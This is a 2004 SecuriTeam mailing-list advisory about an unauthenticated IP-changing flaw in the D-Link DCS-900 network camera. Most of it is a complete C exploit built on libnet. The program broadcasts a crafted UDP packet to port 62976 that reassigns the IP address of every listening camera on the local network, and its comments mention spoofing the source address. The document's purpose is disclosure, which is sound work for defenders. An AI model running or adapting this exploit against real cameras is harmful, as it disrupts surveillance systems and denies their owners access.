

[EXPL] D-Link DCS-900 Internet Camera Arbitrary IP Changing Vulnerability

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2004-09/0002.html>

From: SecuriTeam (support_at_securiteam.com)

Date: 09/01/04

To: list@securiteam.com

Date: 1 Sep 2004 10:45:56 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

D-Link DCS-900 Internet Camera Arbitrary IP Changing Vulnerability

SUMMARY

The <<http://www.dlink.com.au/Default.aspx?ArticleID=109>> D-Link DCS-900 Internet Camera "combines the functionality of video surveillance with the reliability and scalability of Fast Ethernet".

A vulnerability in the product allows a remote attacker to cause the Internet camera to change its IP address without the attacker requiring any authentication credentials.

DETAILS

Vulnerable Systems:

* D-Link DCS-900

Exploit:

/*

[dlinkdown.c - miscname.com](http://dlinkdown.c-miscname.com)

change ip address on all dlink dcs-900 cameras on the local network without authentication

Securiteam: [EXPL] D-Link DCS-900 Internet Camera Arbitrary IP Changing Vulnerability

dlink dcs-900 ip cameras use a broadcast/listen method of configuration

..

rather than a static ip addr out of the box, it listens for a 62976/udp broadcast packet telling it what ip addr to set itself too

<http://www.dlink.com.au/Default.aspx?ArticleID=109>

rtfs and mod the ip address to set all listening cameras too (default is 10.0.50.50)

*/

```
#include <libnet.h>
```

```
#include <stdio.h>
```

```
#include <stdlib.h>
```

```
int main (int argc, char *argv[]) {
```

```
libnet_t *p;
```

```
libnet_ptag_t ip, udp, ipoptions, ether;
```

```
u_long srcip, dstip;
```

```
u_short srcport = 62976, dstport = 62976, x;
```

```
signed int ret;
```

```
char errbuff[LIBNET_ERRBUF_SIZE], ipopt[21];
```

```
int len;
```

```
int8_t *macdst = "ff:ff:ff:ff:ff:ff";
```

```
u_int8_t *macdest;
```

```
char payload[128] = "\xfd\xfd\x00\x04\x00\x03\x00\x0f\x3d\x56\x97\x07"
```

```
  "\x0a\x00\x32\x32" /* ip address to set too */
```

```
  "\x00\x00\xff\xff\xff\x00\x00\x00\x00";
```

```
u_short payloadlen = strlen(payload);
```

```
srcip = libnet_get_ipaddr4(p); /* mod to spoof */
```

```
dstip = libnet_name2addr4(p, "255.255.255.255", LIBNET_DONT_RESOLVE); /*  
255.255.255.255 */
```

```
udp = ip = ether = ipoptions = 0;
```

```
if ( (macdest = libnet_hex_aton(macdst, &len)) == NULL) {
```

```
  fprintf(stderr, "cant get mac str - %s", libnet_geterror(p));
```

```
  exit (1);
```

```
}
```

```
if ( (p = libnet_init (LIBNET_LINK, NULL, errbuff)) == NULL) {
```

```
  fprintf(stderr, "cant init() - %s\n", errbuff);
```

```
  exit (1);
```

```
}
```

```
if ( (udp = libnet_build_udp(srcport, dstport, LIBNET_UDP_H +  
payloadlen, 0, payload, payloadlen, p, udp)) == -1) {
```

```
  fprintf(stderr, "cant build udp - %s\n", libnet_geterror(p));
```

```
  exit (1);
```

```
}  
  
for (x=0;x<20;x++) {  
  ipopt[x] = libnet_get_prand(LIBNET_PR2);  
}  
  
ipoptions = libnet_build_ipv4_options (ipopt,20,p,ipoptions);  
  
if ( (ip = libnet_build_ipv4 (LIBNET_IPV4_H + 20 + payloadlen +  
LIBNET_UDP_H,0,250,0,128,IPPROTO_UDP,  
0,srcip,dstip,payload,payloadlen,p,ip)) == -1) {  
  fprintf(stderr,"cant build ipv4 - %s\n",libnet_geterror(p));  
  exit (1);  
}  
  
if ((ether = libnet_build_ethernet  
(macdest,macdest,ETHERTYPE_IP,NULL,0,p,ether)) == -1) {  
  fprintf(stderr,"cant build ether - %s",libnet_geterror(p));  
  exit (1);  
}  
  
//libnet_diag_dump_pblock(p);  
  
if ( (ret = libnet_write(p)) == -1) {  
  fprintf(stderr,"%s\n",libnet_geterror(p));  
}  
  
free(macdest); /* hex_aton malloc's - see libnet doco */  
libnet_destroy(p);  
  
return 0;  
}
```

ADDITIONAL INFORMATION

The information has been provided by mISCNAME.

The original article can be found at:

<http://miscname.com/public/dcs-900/>

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

Securiteam: [EXPL] D-Link DCS-900 Internet Camera Arbitrary IP Changing Vulnerability

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.